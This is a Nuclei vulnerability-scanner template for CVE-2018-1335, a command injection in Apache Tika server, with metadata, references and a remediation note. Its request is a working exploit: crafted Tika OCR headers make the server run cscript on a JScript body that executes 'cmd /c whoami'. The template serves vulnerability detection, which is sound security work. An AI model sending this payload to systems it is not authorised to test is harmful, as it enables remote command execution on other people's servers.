nuclei-templates/http/cves/2018/CVE-2018-1335.yaml

61 lines
2.2 KiB
YAML
Raw Permalink Normal View History

2021-02-27 03:18:29 +00:00
id: CVE-2018-1335
info:
name: Apache Tika <1.1.8- Header Command Injection
2021-02-27 03:18:29 +00:00
author: pikpikcu
severity: high
description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.
2023-09-06 12:57:14 +00:00
remediation: Upgrade to Tika 1.18.
reference:
- https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
- https://www.exploit-db.com/exploits/47208
- https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2018-1335
2023-07-15 16:29:17 +00:00
- http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-1335
2024-05-31 19:23:20 +00:00
epss-score: 0.96745
epss-percentile: 0.99664
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: apache
product: tika
2024-01-14 09:21:50 +00:00
tags: cve,cve2018,packetstorm,edb,apache,tika,rce,intrusive
2021-02-27 03:18:29 +00:00
http:
2021-02-27 03:18:29 +00:00
- method: PUT
path:
- "{{BaseURL}}/meta"
2023-07-11 19:49:27 +00:00
body: var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");
2021-02-27 03:18:29 +00:00
headers:
X-Tika-OCRTesseractPath: cscript
X-Tika-OCRLanguage: //E:Jscript
Expect: 100-continue
Content-type: image/jp2
Connection: close
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: header
2021-02-27 03:18:29 +00:00
words:
- "Content-Type: text/csv"
- type: word
part: body
2023-07-11 19:49:27 +00:00
words:
- org.apache.tika.parser.DefaultParser
- org.apache.tika.parser.gdal.GDALParse
2021-02-27 03:18:29 +00:00
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502202e147e540018e89eb8892a229a98bbab99feca5c6f1416e246e0264aa28dd539022100c3f35f328d7fc8c2c5141f428a2585389f9262293b5bccb23bd929c7798c2374:922c64590222798bb761d5b6d8e72950